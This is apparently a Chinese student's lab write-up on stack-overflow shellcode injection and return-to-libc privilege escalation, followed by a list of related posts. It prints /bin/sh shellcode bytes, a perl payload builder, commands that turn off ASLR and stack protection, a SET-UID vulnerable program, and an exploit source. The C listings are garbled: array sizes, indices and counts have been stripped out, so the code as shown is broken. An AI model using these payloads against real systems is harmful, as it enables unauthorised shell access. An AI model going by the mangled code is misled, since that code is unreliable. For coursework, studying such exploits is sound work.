PC平台逆向破解_Advanced

一.注入shellcode并执行

1.什么是shellcode?

shellcode顾名思义就是一段为了获取交互式shell的机器指令,是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。

2.如何编写shellcode?

MAL_Shellcode基础

Shellcode的原理及编写

3.如何实现shellcode注入?

  • 准备一段shellcode代码:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

  • 设置环境:

execstack指令  -s 参数:设置堆栈可执行

-q 参数:查询文件的堆栈是否可执行   结果X表示可执行

echo "" > /proc/sys/kernel/randomize_va_space

表示关闭地址随机化

  • 构造payload:

linux两种构造buf的方法:

①retaddr+nop+shellcode //retaddr在缓冲区的位置是固定的,缓冲区比较小的时候shellcode放retaddr后面 ②nop+shellcode+retaddr //缓冲区比较大的时候shellcode放retaddr前面

//nop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

选择anything+retaddr+nops+shellcode 结构来构造如下语句:

perl -e 'print "H" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > 4306input_shellcode

\x1\x2\x3\x4代表返回地址,我们需要改成shellcode的地址。

现在求shellcode的地址~~

注入上面的攻击buf:

新打开一个terminal,查询20144306进程号:

第一行4514即是。

调试程序20144306:

反汇编foo函数:

注意ret的位置,我们要在ret处设置断点,目的就是为了查看注入buf的内存地址来分析shellcode的地址:

0xffffd32c存放的的之前瞎猜的返回地址,实际想要的shellcode地址在0xc0319090那条code处,也就是: 0xffffd334。

然后修改之前的注入语句:

再来尝试注入:

成功~

4.再来一段shellcode注入?结合nc模拟远程攻击

这次我们需要两台主机pc1和pc2

先查看pc1的ip地址:

一定要好好设置pc1环境:

这里如果不关闭地址随机化,那么每次foo函数的地址都会随机改变,我们根本就没法预测。

在pc1上运行nc监测4306端口:

另一台主机pc2远程连接,注入buf(这个buf还是之前的buf,下面我们要对此buf进行修改):

在pc1上另开一个terminal,查询可执行文件20144306的进程号,下面步骤就和前面基本一样了,gdb编译20144306,反编译foo,查询esp位置,并计算shellcode的地址:

看到shellcode地址是0xffffd344,在pc2上修改buf:

ok,再来一次:

pc 1输入下面内容:

pc 2输入下面内容:

成功~~

二.Return-to-libc攻击深入

1.关于Return-to-libc

如果攻击者将攻击代码放在堆栈中,但目标设置了非执行堆栈技术,上面的方法就行不通。

再来看下Return-to-libc攻击方法,该方法不需要注入,而利用漏洞函数已有函数完成攻击,让漏洞程序跳转到已有的代码序列。攻击者在实施攻击时仍然可以用恶意代码的地址来覆盖程序函数调用的返回地址,并传递重新设定好的参数使其能够按攻击者的期望运行。这就是为什么攻击者会采用 return-into-libc 的方式,并使用程序提供的库函数。这种攻击方式在实现攻击的同时,也避开了数据执行保护策略中对攻击代码的注入和执行进行的防护。

2.怎么使用Return-to-libc?

  • 配置32位linux环境:

  • 添加新用户 hsy:

  • 切换新建用户完成以下操作:

进入32位linux环境,关闭地址随机化,便于我们计算地址值

设置zsh程序代替/bin/bash,防止/bin/bash中的防护程序发挥作用:

将漏洞程序20144306retlib.c保存在/tmp目录下:

代码如下:

 /* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(FILE *badfile)
{
char buffer[];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), , badfile);
return ;
}

20144306retlib.c

  • sudo su 切换身份,编译20144306retlib.c,关闭阻止缓冲区溢出的栈保护机制,并为其设置SET-UID来方便提权:

  • exit回到新建用户,新建另两个c文件,分别放置读取环境变量的程序和攻击程序:
  #include <stdio.h>
#include <stdlib.h>
#include <string.h> int main(int argc, char const *argv[])
{
char *ptr; if(argc < ){
printf("Usage: %s <environment var> <target program name>\n", argv[]);
exit();
}
ptr = getenv(argv[]);
ptr += (strlen(argv[]) - strlen(argv[])) * ;
printf("%s will be at %p\n", argv[], ptr);
return ;
}

20144306getenvaddr.c

//读取环境变量

 //编译一下

 #include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[];
FILE *badfile;
badfile = fopen(".//badfile", "w"); strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times *(long *) &buf[] =0x11111111; // 查询BIN_SH的地址后放入
*(long *) &buf[] =0x22222222; // 查询system()的地址后放入
*(long *) &buf[] =0x33333333; // 查询exit()的地址后放入
fwrite(buf, sizeof(buf), , badfile);
fclose(badfile);
}

20144306exploit.c

//攻击

//不要忘记编译

  • 利用20144306getenvaddr来获取BIN_SH的地址:0xffffde1e

  • 利用gdb来获得system和exit的地址:

观察到system地址是:0xf7e2eb30,exit地址是:0xf7e227e0

  • 回过头来,打开20144306exploit.c进行如下修改,填写查询到的三个地址:

  • 删除刚才调试编译的 20144306exploit 程序和 badfile 文件,重新编译修改后的 20144306exploit.c:

  • 先运行攻击程序20144306exploit再运行漏洞程序20144306retlib

成功~~

三.本期收获

对shellcode有了初步了解,刚开始做实验不知道自己在干什么,然后在失败中渐渐明白为什么要做这一步以及不做会有什么后果,比如不关地址随机化就没法预测地址,失败次数多了,步骤重复地都能背下来了,这个实验在后门实验后面做的,后门用到了ncat,这里又将shellcode和ncat结合做了个小实践也很有意思,单一的攻击很软,只有多种攻击方式结合才会让目标无所适从,第一次了解Return-to-libc攻击,三个攻击代码都是别人写好的,拿出来用很简单,但是真正理解然后自己仿制却需要更多时间,希望今后能力会有更大提升,先写到这里,这篇应该还可以完善~~

20144306《网络对抗》MAL_PC平台逆向破解_Advanced的更多相关文章

  1. 20155334 网络对抗PC平台逆向破解(二)

    注入Shellcode并运行攻击 shellcode就是一段机器指令(code) 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe) ...

  2. 20145240《网络对抗》PC平台逆向破解_advanced

    PC平台逆向破解_advanced shellcode注入 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外,Shellcode一般是 ...

  3. 20145221高其_PC平台逆向破解_advanced

    20145221高其_PC平台逆向破解_advanced 实践目录 shellcode注入 Return-to-libc 攻击实验 shellcode注入 概述 Shellcode实际是一段代码(也可 ...

  4. 20145218张晓涵 PC平台逆向破解_advanced

    ---恢复内容开始--- 20145218张晓涵 PC平台逆向破解_advanced shellcode注入 基础知识 shellcode就是在利用溢出攻击溢出时要值入的代码,也就是溢出后去执行的代码 ...

  5. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  6. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  8. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  9. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

随机推荐

  1. 【RF库测试】算法运算

  2. phpadmin试用

    在Windows或者Linux下mysql安装后默认的密码为空,又当我们又安装了mysql的管理工具phpmyadmin后登陆时 出现“空密码登陆呗禁止(参见允许密码为空)”.不能登录成功       ...

  3. 由于OBJ模型的读取引起的Release无问题Debug卡死问题

    有些时候会遇到Release版本正常运行,但是Debug无法运行甚至崩溃,原因有很多种,这里记录一下由于模型文件读取引起的Debug问题. 项目中需要读取一个obj模型文件,30M左右,Debug模式 ...

  4. 在 Ubuntu 13.10 安装 PyCharm 3.0.1 & Oracle JDK

    由于授权问题,在较新的Linux发行版本中都不再包含Oracle Java,取而代之的是OpenJDK.Ubuntu也是如此. OpenJDK能满足大部分的应用程序运行条件,但PyCharm无法在Op ...

  5. 天猫浏览型应用的CDN静态化架构演变(转)

    转自:http://wbj0110.iteye.com/blog/2036613 在天猫双11活动中,商品详情.店铺等浏览型系统,通常会承受超出日常数倍甚至数十倍的流量冲击.随着历年来双11流量的大幅 ...

  6. DexArchiveBuilderException

    出现这个问题大概是因为版本资源问题 比如把TextView  改为CompatTextView 解决方法一: 在项目的build.gradle文件中查看自己导入的依赖,看看是否有重复的,如果有的话删除 ...

  7. 《JavaScript 秘密花园》

    恰巧今天是传统民间重要的节日之一--七夕节: 被大家挂在嘴上最多的一句话便是:有对象了吗?这不-- 这样的话,那咱就先给new出一个对象吧: var boyfriend = new Object(); ...

  8. 基于VLAN的二三层转发

    [章节内容]1 MAC地址2 冲突域和广播域3 集线器.交换机.路由器   3.1 集线器   3.2 网桥和交换机   3.3 路由器4 VLAN   4.1 VLAN帧格式      4.1.1 ...

  9. WP8.1学习系列(第二十六章)——控件模板

    在本文中 自定义控件模板示例 指定控件的可视结构. 指定控件的可视行为 使用工具轻松处理主题 控件和辅助功能 了解有关控件默认模板的详细信息 控件模板中的主题资源 相关主题 在 XAML 框架中,如果 ...

  10. 【Spring源码深度解析学习系列】复杂标签属性解析(四)

    一.创建用于属性承载的BeanDefinition BeanDefiniton是一个接口,在Spring中存在三种实现:RootBeanDefinition.ChildBeanDefinition.G ...